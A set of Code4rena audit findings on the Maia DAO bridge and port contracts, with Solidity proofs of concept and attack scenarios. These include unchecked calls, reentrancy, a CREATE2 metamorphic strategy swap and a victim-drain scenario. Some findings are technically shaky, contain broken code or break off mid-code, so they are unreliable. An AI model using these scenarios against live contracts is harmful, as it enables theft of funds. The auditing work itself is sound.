Lines of code

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/ArbitrumBranchBridgeAgent.sol#L103

Vulnerability details

vulnerability details

this function is contain issue :

function _performCall(address payable, bytes memory _calldata, GasParams calldata) internal override {
        // Cache Root Bridge Agent Address
        address _rootBridgeAgentAddress = rootBridgeAgentAddress;
        // Send Gas to Root Bridge Agent
        _rootBridgeAgentAddress.call{value: msg.value}("");
        // Execute locally
        IRootBridgeAgent(_rootBridgeAgentAddress).lzReceive(rootChainId, "", 0, _calldata);
}

the problem is in this line :

_rootBridgeAgentAddress.call{value: msg.value}("");

the use of the .call function without checks using that In Solidity .call has a significant risk as it can execute arbitrary code and In this specific context, it's sending msg.value (Ether) to the _rootBridgeAgentAddress without verifying if the call was successful or if the receiving contract handles Ether safely so an attacker can manipulate the _rootBridgeAgentAddress contract

Impact

An attacker can manipulate the _rootBridgeAgentAddress contract to behave unexpectedly during this call and exploit this to drain Ether from the contract, manipulate its internal state, or even render it non-functional.

Proof of Concept

here is a scenario validate the vulnerability :

• The _rootBridgeAgentAddress contract receives Ether through the .call function without any checks or safeguards.
• An attacker, who has identified this bug, deploys a malicious contract on the same network.
• the malicious contract is designed to exploit the lack of checks in _rootBridgeAgentAddress by performing a reentrant attack.
• The attacker sends a transaction to the malicious contract, triggering the attacker's code.
• The malicious contract, aware of the vulnerability in _rootBridgeAgentAddress, recursively calls the _performCall function.
• During each recursive call, the malicious contract could manipulate the state of _rootBridgeAgentAddress or drain its Ether balance.
• This recursive attack continues until the _rootBridgeAgentAddress contract either runs out of gas or reaches some other termination condition.
  as result :
• The attacker codrain the Ether balance from the _rootBridgeAgentAddress contract, rendering it unable to perform its intended functions.
• The attacker may also manipulate the internal state of _rootBridgeAgentAddress, causing unintended behavior or instability.

Tools Used

manual review

Recommended Mitigation Steps

checks and safeguards as using the low-level .transfer or .send functions,

Assessed type

Other

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/ArbitrumBranchPort.sol#L60
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L96
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/ArbitrumBranchPort.sol#L69
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L336

Vulnerability details

Impact

The wrong token address is used in the depositToPort function and can lead to the transaction of the user getting reverted.

Proof of Concept

The depositToPort function is used to deposit fund from user to the ArbitrumBranchPort.sol contract. the system should transfer _underlying Token from user to the ArbitrumBranchPort.sol contract and mint _hToken for user.

function depositToPort(address _depositor, address _recipient, address _underlyingAddress, uint256 _deposit)
    external
    override
    lock
    requiresBridgeAgent
{
    // Save root port address to memory
    address _rootPortAddress = rootPortAddress;

    // Get global token address from root port // @audit
    address _globalToken = IRootPort(_rootPortAddress).getLocalTokenFromUnderlying(_underlyingAddress, localChainId);

    // Check if the global token exists
    if (_globalToken == address(0)) revert UnknownGlobalToken();

    // Deposit Assets to Port
    _underlyingAddress.safeTransferFrom(_depositor, address(this), _deposit);

    // Request Minting of Global Token
    IRootPort(_rootPortAddress).mintToLocalBranch(_recipient, _globalToken, _deposit);
}

The problem is that the above function is getting _globalToken address wrongly and is using it. Actually, it is getting Local Token address From Underlying and is using LocalToken address in the RootPort.sol#L336.mintToLocalBranch function in order to mint _hToken for the user.

/// @notice ChainId -> Global Address -> Local Address
mapping(address chainId => mapping(uint256 globalAddress => address localAddress)) public getLocalTokenFromGlobal;

function mintToLocalBranch(address _to, address _hToken, uint256 _amount)
    external
    override
    requiresLocalBranchPort
{
    if (!isGlobalAddress[_hToken]) revert UnrecognizedToken(); //@audit
    if (!ERC20hTokenRoot(_hToken).mint(_to, _amount, localChainId)) revert UnableToMint();
}

Now, because of if (!isGlobalAddress[_hToken]) revert UnrecognizedToken(), the transaction can get reverted.

Tools Used

Manually

Recommended Mitigation Steps

The system should first get Local Token address and use it in the RootPort.sol#L90.getGlobalTokenFromLocal mapping to get correct _hToken address.

Assessed type

Other

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgentExecutor.sol#L53-L56

Vulnerability details

Impact

A requirement was violated in a nested call, and the call was reverted as a result.
The violation occurred because invalid inputs were provided to the nested call, specifically in the form of incorrect arguments.

Proof of Concept

The POC calls the executeNoSettlement with a bytes payload that violates the requirements.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./BranchBridgeAgentExecutor.sol";

import {Ownable} from "202309-maia/lib/solady/src/auth/Ownable.sol";

import {SafeTransferLib} from "202309-maia/lib/solady/src/utils/SafeTransferLib.sol";

import {IBranchRouter as IRouter} from "./interfaces/IBranchRouter.sol";

import {BranchBridgeAgent} from "./BranchBridgeAgent.sol";
import {BridgeAgentConstants} from "./interfaces/BridgeAgentConstants.sol";
import {SettlementParams, SettlementMultipleParams} from "./interfaces/IBranchBridgeAgent.sol";

contract tBranchBridgeAgentExecutor {
   BranchBridgeAgentExecutor public x1;

   constructor(BranchBridgeAgentExecutor _x1) {
       x1 = BranchBridgeAgentExecutor(_x1);
   }

 
   function testRequirementViolation() external payable {

        x1.executeNoSettlement{value: 1e18}(address(x1), bytes("\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x009\x00\x00\x00\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"));      
   }

}

Log

transact to tBranchBridgeAgentExecutor.testRequirementViolation pending ... 
[vm]from: 0x4B2...C02dbto: Ownable.(fallback) 0x787...cabaBvalue: 0 weidata: 0xaae...d0e19logs: 0hash: 0x176...563cc
status	true Transaction mined and execution succeed
transaction hash	0x176368f6e5d4e8bf694dd3aa26219f9ad607adf067ff65655b1055e7138563cc
block hash	0x4082b8b7f62d1d2244202f106876b64f65c1fa17d71b6f96f80c929415ce0538
block number	3
from	0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db
to	Ownable.(fallback) 0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB
gas	24224 gas
transaction cost	21064 gas 
input	0xaae...d0e19
decoded input	-
decoded output	 - 
logs	[]
val	0 wei

Tools Used

Remix IDE

Recommended Mitigation Steps

If the required logical condition is too strong, it should be weakened to allow all valid external inputs.
Consider fixing its code to prevent the provision of invalid inputs. This may involve additional input validation checks or error handling mechanisms.
Otherwise, the bug must be in the contract that provided the external input and one should consider fixing its code by making sure no invalid inputs are provided.

Assessed type

Invalid Validation

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreRootRouter.sol#L83

Vulnerability details

Impact

The contract exhibits a lack of comprehensive input validation in various functions, which can have significant security implications. Failure to validate inputs can lead to unexpected behavior, vulnerabilities, and potential exploits. Some of the specific impacts include:

• In the initialize function, where no validation is performed on input addresses _bridgeAgentAddress and _hTokenFactory, malicious or incorrect addresses could be provided, potentially compromising the contract's integrity and functionality.

• In the addBranchToBridgeAgent function, limited validation on input parameters _rootBridgeAgent and _dstChainId exists, but it does not validate the validity of _branchBridgeAgentFactory and _newBranchRouter addresses. This oversight can lead to misconfigurations and unexpected outcomes in the contract.

• The lack of input validation in various other functions poses similar risks, allowing for the execution of unintended actions or the acceptance of invalid inputs.

Proof of Concept

Here's is a source from the contract where input validation is lacking:

function initialize(address _bridgeAgentAddress, address _hTokenFactory) external onlyOwner {
    require(_setup, "Contract is already initialized");
    _setup = false;
    bridgeAgentAddress = payable(_bridgeAgentAddress);
    bridgeAgentExecutorAddress = IBridgeAgent(_bridgeAgentAddress).bridgeAgentExecutorAddress();
    hTokenFactoryAddress = _hTokenFactory;
}

In this code snippet, the initialize function does not validate whether _bridgeAgentAddress and _hTokenFactory are valid and trusted addresses, which can potentially lead to the contract being controlled by malicious actors.

Tools Used

VsCode, Manual

Recommended Mitigation Steps

To mitigate the risks associated with the lack of input validation, it is essential to implement thorough input validation in all functions. Here's an example of how this can be done:

function initialize(address _bridgeAgentAddress, address _hTokenFactory) external onlyOwner {
    require(_setup, "Contract is already initialized");
    require(_bridgeAgentAddress != address(0), "Invalid _bridgeAgentAddress");
    require(_hTokenFactory != address(0), "Invalid _hTokenFactory");

    // Additional checks if necessary
    // Ensure that _bridgeAgentAddress and _hTokenFactory are trusted addresses
    require(isTrustedAddress(_bridgeAgentAddress), "Untrusted _bridgeAgentAddress");
    require(isTrustedAddress(_hTokenFactory), "Untrusted _hTokenFactory");

    _setup = false;
    bridgeAgentAddress = payable(_bridgeAgentAddress);
    bridgeAgentExecutorAddress = IBridgeAgent(_bridgeAgentAddress).bridgeAgentExecutorAddress();
    hTokenFactoryAddress = _hTokenFactory;
}

Added input validation checks to ensure that _bridgeAgentAddress and _hTokenFactory are valid and trusted addresses. Additionally, custom error messages provide clear feedback about the validation failures.

By consistently implementing robust input validation in all functions, the contract can significantly reduce the risk of vulnerabilities and unintended behavior, enhancing its security and reliability.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/e6201f9b07110ba15d3aa39355884bfada00bb34/src/BranchPort.sol#L168-L172

Vulnerability details

Impact

The current implementation of debt repayment logic in the function replenishReserves() of BranchPort.sol presents a potential risk of underflow. Specifically, two key operations are performed:

1. Updating Port Strategy Token Debt: The code subtracts a specified _amount from the getPortStrategyTokenDebt mapping, which tracks the debt owed to a strategy by a user. If the user's debt is insufficient to cover the repayment amount, this subtraction operation could result in an underflow, leading to unexpected and unintended behavior.

2. Updating Strategy Token Global Debt: Again, the code subtracts the same _amount from the getStrategyTokenDebt mapping, which represents the overall debt associated with a specific token strategy. If the global debt is not enough to cover the repayment, an underflow happens.

Proof of Concept

It is even commented in the code itself, that there is this risk. But it remains unchecked and is therefore a potential issue in the underlying contract code. This could finally lead to a DoS. Let's have a look.

pragma solidity 0.8.18;

contract BuggyContract {

    // Vulnerable Code
    function vulnerableSubtract(uint256 a, uint256 b) public pure returns (uint256) {
        return a - b;
    }

    // Example usage
    function exampleVulnerableUsage() public pure returns (uint256) {
        uint256 a = 5;
        uint256 b = 10;
        return vulnerableSubtract(a, b); // This will result in an underflow.
    }

}

contract FixedContract {

    // Mitigated Code
    function safeSubtract(uint256 a, uint256 b) public pure returns (uint256) {
        require(a > b, "Subtraction underflow");
        return a - b;
    }

    // Example usage
    function exampleSafeUsage() public pure returns (uint256) {
        uint256 a = 5;
        uint256 b = 10;
        return safeSubtract(a, b); // This will revert with an error message as we want.
    }

}

The output of this underflow leads to this large result:

{
"0": "uint256: 35408467139433450592217433187231851964531694900788300625387963629091585785856"
}

If balances or values are tracked using unsigned integer data types (e.g., uint256) and an underflow occurs during a subtraction operation, it can result in a very large value, close to the maximum representable value for that data type.

Tools Used

The problem was identified through manual code review and analysis. Additional tools like CVL helped me detect the problem of underflow as well as the comment in the source-code. With the help of the Remix IDE I was able to test a PoC quickly.

Recommended Mitigation Steps

To mitigate the risk of underflow and improve the safety of the debt repayment logic, consider implementing:

• Debt Validation: BEFORE subtracting _amount from the debt mappings, add a validation check to ensure that the debt is sufficient to cover the repayment.

Use a simple if-statement to check: if(getPortStrategyTokenDebt[msg.sender][_token] > _amount, "Subtraction underflow").

The same check should be used: if(getStrategyTokenDebt[_token] > _amount, "Subtraction underflow")

If the debt is not adequate, the contract should revert.

Assessed type

DoS

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootPort.sol#L129

Vulnerability details

According to documentation, it is stated, there should only be 1 root port. It is possible to have more than one port if the owner calls it, creating a "backdoor".

The Root Port is present in the Root Chain and communicates with all connected Root Routers. 
This Port is responsible for maintaining the global state of the Virtualized Tokens, 
having a registry of all the mappings from underlying to local addresses, as well as from local to global addresses. 
Any action that involves the addition, removal or verification of tokens and their balances has to go through this contract.

https://v2-docs.maiadao.io/protocols/Ulysses/overview/omnichain/ports#2-root-port

Exploit Scenario:

The owner called the initialize function twice leaving _coreRootRouter as the same address but changing _bridgeAgentFactory address. This means that there will be 2 different _bridgeAgentFactory addresses but the same _coreRootRouter.

Of course, it is also possible to have duplicate _coreRootRouter which is against the protocol direction of having one router and port.

Impact

Leaving a backdoor, which allows rug pool by owner

Proof of Concept

    function initialize(address _bridgeAgentFactory, address _coreRootRouter) external onlyOwner {
        require(_bridgeAgentFactory != address(0), "Bridge Agent Factory cannot be 0 address.");
        require(_coreRootRouter != address(0), "Core Root Router cannot be 0 address.");
        require(_setup, "Setup ended.");
        _setup = false;

        isBridgeAgentFactory[_bridgeAgentFactory] = true;
        bridgeAgentFactories.push(_bridgeAgentFactory);

        coreRootRouterAddress = _coreRootRouter;
    }

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootPort.sol#L129C1-L139C6

Tools Used

Manual Review

Recommended Mitigation Steps

Check if the address was already deployed in a mapping. This not only saves gas against the array but ensures that it is the _bridgeAgentFactory and _coreRootRouter is correctly deployed.

Assessed type

Rug-Pull

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/6c21f6b739252367c5fe770fed3ff76eb3ca2c86/src/BranchPort.sol#L382-L393

Vulnerability details

Vulnerability Details

A proposed strategy that has been authorized by the governance can be turned into a malicious strategy by the attacker by redeploying the contract that has used CREATE2 to deploy it, which might lead to the theft of funds or the production of a DoS.
An example of deploying such a contract will be:
Using a Deployer of the Deployer contract (lets call it DeployerDeployer)
With that DeployerDeployer contract the attacker using CREATE2 deploys a Deployer contract for the strategy
Using that Deployer contract the attacker deploys the proposal.

After the governance has approved of that strategy, the attacker can redeploy the malicious code onto the already approved contract address by:

Selfdestructing both the Deployer contract and the strategy contract
Redeploying the Deployer contract (using create2) and the malicious strategy contract (using create)

So in the end we get:
DeployerDeployer -- create2 -> Deployer -- create --> Strategy
After it was approved the attacker selfdestructs both the current Deployer and Strategy contracts and deploys the same Deployer and different strategy at the same address:
DeployerDeployer -- create2 -> Deployer -- create --> Malicious strategy

The code can be deployed on the same address because the address compiles the following way:
last 20 bytes of sha3(rlp(sender addr, nonce))
The sender (Deployer contract) is always with the same address (e.g. 0x123) as it is being deployed with create2
The nonce is the number of transactions of sender (Deployer contract)
When we first deploy the strategy contract using create the nonce of the Deployer contract is e.g 0. (So the address of the Deployer Contract is the same (0x123) and the nonce is 0)
In order to get the nonce to 0 again (to successfully deploy the contract at the same address) the attacker deletes the Deployer contract, resetting its nonce to 0 when redeployed.
So in the end the nonce is 0, (as used in deploying the proposal strategy) and the Deployer contract address is the same (0x123), which compiles in the same address (0x456) of the proposal strategy but with different code.

Impact

Loss of funds, DoS.

Proof of Concept

Bob creates a DeployerDeployer contract, using it and create2 he deploys a Deployer contract for the strategy.
A very thought through proposal strategy was deployed by Bob's Deployer contract. (Deployer contract's nonce is e.g. 0)
Seemingly harmless, game-changing and really useful, the governance approves that strategy to be used.
After Bob notices that his strategy was approved, he selfdestructs both the Deployer contract (in order to reset the nonce to 0 again) and the strategy.
Using his DeployerDeployer contract he redeploys (using create2) the Deployer contract, with his nonce now reset to 0, he redeploys his malicious strategy/contract at the same address, because the following formula contains the same "inputs" (Deployer address and nonce) as before:
last 20 bytes of sha3(rlp(sender addr, nonce))

Tools Used

Manual review

Recommended Mitigation Steps

Reconsider a new approach to tackle this issue.

Assessed type

Other

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L825
https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootBridgeAgent.sol#L917
https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootBridgeAgent.sol#L942

Vulnerability details

Impact

Massive loss of user funds and protocol completely crippled.

Proof of Concept

By default layerZero implements a blocking behavior, that is, that each message must be processed and succeed in the order that it was sent. In order to circumvent this behavior the receiver must implement their own try-catch pattern. If the try-catch pattern in the receiving app ever fails then it will revert to its blocking behavior. The _destination input to RootBridgeAgent.sol#function _performCall,_performRetrySettlementCall,_performFallbackCall implements ILayerZeroEndpoint(lzEndpointAddress).send is calldata of any arbitrary length. An attacker can abuse this and submit a send request with an excessively large _destination to break communication between network with different gas limits.

Tools Used

Manual Review

Recommended Mitigation Steps

check whether the _destination length is <= maxAddressLength before every function that implements ILayerZeroEndpoint(lzEndpointAddress).send.

LayerZero have a max payload size (10000) set in RelayerV2 contract which prevents the described situation if a payload exceeds the specified limit the transaction will revert on the source. If a client application is configured to use a non-default Relayer it must set the payload limit itself. Generally, it’s a protocol’s responsibility to enforce the max payload size.

Assessed type

Other

See the markdown file with the details of this report here.

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/ArbitrumBranchBridgeAgent.sol#L103
https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootBridgeAgent.sol#L835
https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootBridgeAgent.sol#L927

Vulnerability details

Impact

Detailed description of the impact of this finding.

The return value of low level call is not checked.
If the _rootBridgeAgentAddress is a contract and its receive()/fallbak() function has the potential to revert, the code _rootBridgeAgentAddress.call{value: msg.value}(""); could potentially return a false result, which is not being verified. As a result, the calling functions may exit without successfully returning ethers to senders.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/ArbitrumBranchBridgeAgent.sol#L103

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

contract CallerContract {

  VaultContract private vaultAddress;
  constructor(VaultContract _vaultAddr) payable {
      vaultAddress = _vaultAddr;
  }

  receive() payable external {
      revert();
  }

  function claim(uint256 amount) public {
      vaultAddress.claimEther(amount);
  }

}

contract VaultContract {
  CallerContract private callerContract;
  constructor() payable {}

  receive() payable external {
      revert();
  }

  function claimEther(uint256 amount) public {
      require(amount <= 3 ether, "Cannot claim more than 3 ether");
      msg.sender.call{value:amount}("");
      //(bool sent,) = msg.sender.call{value: amount}("");
      //require(sent, "sent failed");
  }

  function sendEither() payable external {
      callerContract.claim(3 ether);
  }

  function setCaller(CallerContract _caller) public {
      callerContract = _caller;
  }

}

contract CallReturnValueNotCheckedTest is Test {

  address public Bob;
  VaultContract public vaultContract;
  CallerContract public callerContract;

  function setUp() public {
      Bob = makeAddr("Bob");
      vaultContract = new VaultContract();
      callerContract = new CallerContract(vaultContract);
      vaultContract.setCaller(callerContract);
      deal(Bob, 10 ether);
  }

  function test_callReturnNotChecked() public {
      console2.log("Before calling: Bob balance is %d ether", Bob.balance / 1e18);
      console2.log("Before calling: Vault balance is %d ether", address(vaultContract).balance / 1e18);
      console2.log("Bob sends 3 ether");
      vm.startPrank(Bob);
      //vm.expectRevert();
      vaultContract.sendEither{value: 3 ether}();
      console2.log("After  calling: Bob balance is %d ether", Bob.balance / 1e18);
      console2.log("After  calling: Vault balance is %d ether", address(vaultContract).balance / 1e18);
      vm.stopPrank();

  }
}

The output is:

Running 1 test for test/ReturnValueTest.t.sol:CallReturnValueNotCheckedTest
[PASS] test_callReturnNotChecked() (gas: 42207)
Logs:
Before calling: Bob balance is 10 ether
Before calling: Vault balance is 0 ether
Bob sends 3 ether
After  calling: Bob balance is 7 ether
After  calling: Vault balance is 3 ether

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 762.13µs
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

The caller contract fails to receive ether, but the whole transaction is not reverted. As a result, the ether will be locked in the Vault contract.

This issue can be prevented by adding logic to check the return value of call.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

contract CallerContract {

  VaultContract private vaultAddress;
  constructor(VaultContract _vaultAddr) payable {
      vaultAddress = _vaultAddr;
  }

  receive() payable external {
      revert();
  }

  function claim(uint256 amount) public {
      vaultAddress.claimEther(amount);
  }

}

contract VaultContract {
  CallerContract private callerContract;
  constructor() payable {}

  receive() payable external {
      revert();
  }

  function claimEther(uint256 amount) public {
      require(amount <= 3 ether, "Cannot claim more than 3 ether");
      //msg.sender.call{value:amount}("");
      (bool sent,) = msg.sender.call{value: amount}("");
      require(sent, "sent failed");
  }

  function sendEither() payable external {
      callerContract.claim(3 ether);
  }

  function setCaller(CallerContract _caller) public {
      callerContract = _caller;
  }

}

contract CallReturnValueNotCheckedTest is Test {

  address public Bob;
  VaultContract public vaultContract;
  CallerContract public callerContract;

  function setUp() public {
      Bob = makeAddr("Bob");
      vaultContract = new VaultContract();
      callerContract = new CallerContract(vaultContract);
      vaultContract.setCaller(callerContract);
      deal(Bob, 10 ether);
  }

  function test_callReturnNotChecked() public {
      console2.log("Before calling: Bob balance is %d ether", Bob.balance / 1e18);
      console2.log("Before calling: Vault balance is %d ether", address(vaultContract).balance / 1e18);
      console2.log("Bob sends 3 ether");
      vm.startPrank(Bob);
      //vm.expectRevert();
      vaultContract.sendEither{value: 3 ether}();
      console2.log("After  calling: Bob balance is %d ether", Bob.balance / 1e18);
      console2.log("After  calling: Vault balance is %d ether", address(vaultContract).balance / 1e18);
      vm.stopPrank();

  }

  function test_callReturnChecked_revert() public {
      console2.log("Before calling: Bob balance is %d ether", Bob.balance / 1e18);
      console2.log("Before calling: Vault balance is %d ether", address(vaultContract).balance / 1e18);
      console2.log("Bob sends 3 ether");
      vm.startPrank(Bob);
      vm.expectRevert();
      vaultContract.sendEither{value: 3 ether}();
      console2.log("After  calling: Bob balance is %d ether", Bob.balance / 1e18);
      console2.log("After  calling: Vault balance is %d ether", address(vaultContract).balance / 1e18);
      vm.stopPrank();

  }
}

Output of modified code:

Running 1 test for test/ReturnValueTest.t.sol:CallReturnValueNotCheckedTest
[PASS] test_callReturnChecked_revert() (gas: 42788)
Logs:
Before calling: Bob balance is 10 ether
Before calling: Vault balance is 0 ether
Bob sends 3 ether
After  calling: Bob balance is 10 ether
After  calling: Vault balance is 0 ether

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.60ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Now the ether is returned back if call is failed.

Tools Used

Foundry

Recommended Mitigation Steps

It's recommended to check the return value to be true or just use OpenZeppelin Address library sendValue() function for ether transfer. See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.9.3/contracts/utils/Address.sol#L64 .

Assessed type

call/delegatecall

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgentExecutor.sol#L53-L94

Vulnerability details

Impact

An external message call to an address specified by the caller is executed.
Note that the callee account might contain arbitrary code and could re-enter any function within this contract.
Reentering the contract in an intermediate state may lead to unexpected behaviour.
Make sure that no state modifications are executed after this call and/or reentrancy guards are in place.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./BranchBridgeAgentExecutor.sol";

import {Ownable} from "202309-maia/lib/solady/src/auth/Ownable.sol";

import {SafeTransferLib} from "202309-maia/lib/solady/src/utils/SafeTransferLib.sol";

import {IBranchRouter as IRouter} from "./interfaces/IBranchRouter.sol";

import {BranchBridgeAgent} from "./BranchBridgeAgent.sol";
import {BridgeAgentConstants} from "./interfaces/BridgeAgentConstants.sol";
import {SettlementParams, SettlementMultipleParams} from "./interfaces/IBranchBridgeAgent.sol";

contract tBranchBridgeAgentExecutor {
   BranchBridgeAgentExecutor public x1;

   constructor(BranchBridgeAgentExecutor _x1) {
       x1 = BranchBridgeAgentExecutor(_x1);
   }

   function testReentrancy() external payable {

       x1.executeWithSettlement{value: 1e18}(0x0000000000000000000000000000000000000081, address(x1), bytes("\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"));
       x1.executeNoSettlement{value: 1e18}(address(x1), bytes("\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"));

}

}

Log

transact to tBranchBridgeAgentExecutor.testReentrancy pending ... 
[vm]from: 0xAb8...35cb2to: Ownable.(fallback) 0x4B2...C02dbvalue: 0 weidata: 0xf40...06b86logs: 0hash: 0x2ca...63b97
status	true Transaction mined and execution succeed
transaction hash	0x2ca5056f41e630154d8cdc3b1e64843be80f4aac3e8993e81f5e2b8e35663b97
block hash	0xbeabc3ee9796b379ceab25e20641731e4050155e834f51488f21d54b2a7d832b
block number	2
from	0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
to	Ownable.(fallback) 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db
gas	24210 gas
transaction cost	21052 gas 
input	0xf40...06b86
decoded input	-
decoded output	 - 
logs	[]
val	0 wei

Tools Used

Remix IDE

Recommended Mitigation Steps

Make sure all internal state changes are performed before the call is executed.
This is known as the Checks-Effects-Interactions pattern.
Use a reentrancy lock (ie. OpenZeppelin's ReentrancyGuard).

Assessed type

Reentrancy

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/ArbitrumBranchPort.sol#L50

Vulnerability details

Impact

The depositToPortandwithdrawFromPortfunctions inArbitrumBridgePort.soldo not properly validate that the_depositorand_recipient` addresses are the same when transferring funds.

Specifically, in depositToPort:
Tokens are transferred from _depositor to the contract
New tokens are minted to _recipient
There is no check that _recipient == _depositor

In withdrawFromPort:
Tokens are burned from _depositor
Unlocked tokens are transferred to _recipient
Again no check that _recipient == _depositor

This vulnerability can lead to loss of funds. An attacker can drain tokens from a victim's account by setting the victim's address as _depositor but specifying their own address as _recipient in depositToPort and withdrawFromPort.

Proof of Concept

To exploit the lack of _depositor and _recipient validation in depositToPort:

1. Attacker calls depositToPort()
2. Attacker sets parameters:

• _depositor = victimAddress
• _recipient = attackerAddress
• _underlyingAddress = tokenToSteal
• _depositAmount = amountToSteal

3. depositToPort transfers _depositAmount tokens from victimAddress to the contract
4. depositToPort mints new tokens to attackerAddress

Tools Used

Manual

Recommended Mitigation Steps

Proper validation should be added to require _depositor == _recipient in both functions before transferring any funds. This will prevent the ability to improperly redirect transfers between accounts.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L590

Vulnerability details

Impact

The identified issue regarding the reentrancy lock not being correctly reset after executing the lock modifier can potentially expose the contract to reentrancy attacks. Reentrancy attacks occur when an external contract calls back into the vulnerable contract before the current execution is complete. This can lead to unexpected and harmful behavior, including unauthorized access to funds and data manipulation.

In this specific contract, if the _unlocked state variable is not reset correctly within the lock modifier, an attacker could potentially exploit this vulnerability by repeatedly calling functions within the same transaction, thereby executing the same function multiple times before the previous calls have completed. This could lead to unintended consequences and the manipulation of contract state.

Proof of Concept

The potential vulnerability, consider the following code block from the provided contract:

/// @notice Modifier for a simple re-entrancy check.
modifier lock() {
    require(_unlocked == 1);
    _unlocked = 2;
    _;
    _unlocked = 1; // This line should reset _unlocked, but if omitted, it can lead to reentrancy issues.
}

In the code, the lock modifier is intended to prevent reentrancy by ensuring that _unlocked is set to 2 during the execution of the wrapped function and then reset to 1 afterward. However, if the contract fails to reset _unlocked, an attacker could potentially exploit this situation.

A simplified example of a vulnerable function:

function vulnerableFunction() external lock {
    // Vulnerable code that doesn't reset _unlocked
    // ...
    // Perform some operations
    // ...
